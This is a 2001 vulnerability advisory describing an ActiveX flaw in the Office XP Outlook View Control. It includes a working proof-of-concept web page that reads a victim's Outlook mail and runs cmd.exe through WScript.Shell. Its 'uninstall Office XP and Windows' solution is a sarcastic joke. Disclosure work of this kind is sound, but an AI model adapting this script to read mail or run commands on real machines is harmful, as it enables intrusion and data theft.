MS Office XP - The More Money I Give To Microsoft, The More Vulnerable My Windows Computers Are

Systems affected:

Win2K + IE 5.5 SP1 fully patched + Office XP.

It was reported to work with IE6 beta also.

Risk: High

Date: 12 July 2001

Legal Notice:

This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission.

Disclaimer:

The information in this advisory is believed to be true based on experiments though it may be false. The opinions expressed in this advisory and program are my own and not of any company.

The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof.

If you want to link to this advisory or reference it use the URL:

http://www.guninski.com/vv2xp.html

The above especially applies for companies like Mitre and BugNet

Background:

Recently I bought Office XP.

It was quite unpleasant feeling giving so much money for so buggy product.

Description:

If a user visits a specially designed html page with IE or opens or previews a message with Outlook XP arbitrary commands may be executed on his computer. This may lead to taking full control over user's computer. Using another approach to this bug allows reading, modifying and deleting messages in user's Outlook XP folders.

Details:

The problem is again ActiveX. This time Office XP seems to install a malicous ActiveX control - "Microsoft Outlook View Control". This control exposes property named "selection" which gives access to user's mail messages. It also exposes the Outlook "Application" object which may lead to execution of arbitrary programs of the user's computer. Examine the script below for more information

Demonstration:

http://www.guninski.com/vv3-2demo.html

-----------------------------------------------------

This assumes you have at least one message in Outlook XP's Inbox

<br>

<object id="o1"

classid="clsid:0006F063-0000-0000-C000-000000000046"

> 

<param name="folder" value="Inbox">

</object>

<script>

function f()

{

//alert(o2.object);

sel=o1.object.selection;

vv1=sel.Item(1);

alert("Subject="+vv1.Subject);

alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");

alert("May be deleted");

//vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScript.Shell");

alert("Much more fun is possible"); 

vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}

setTimeout("f()",2000);

</script>

-----------------------------------------------------

Solution:

Uninstall Office XP and Windows.

Vendor status:

Microsoft was informed on 9 July 2001.

As far I could understand they are still investigating my report.

Credits

Regards,

Georgi Guninski

http://www.guninski.com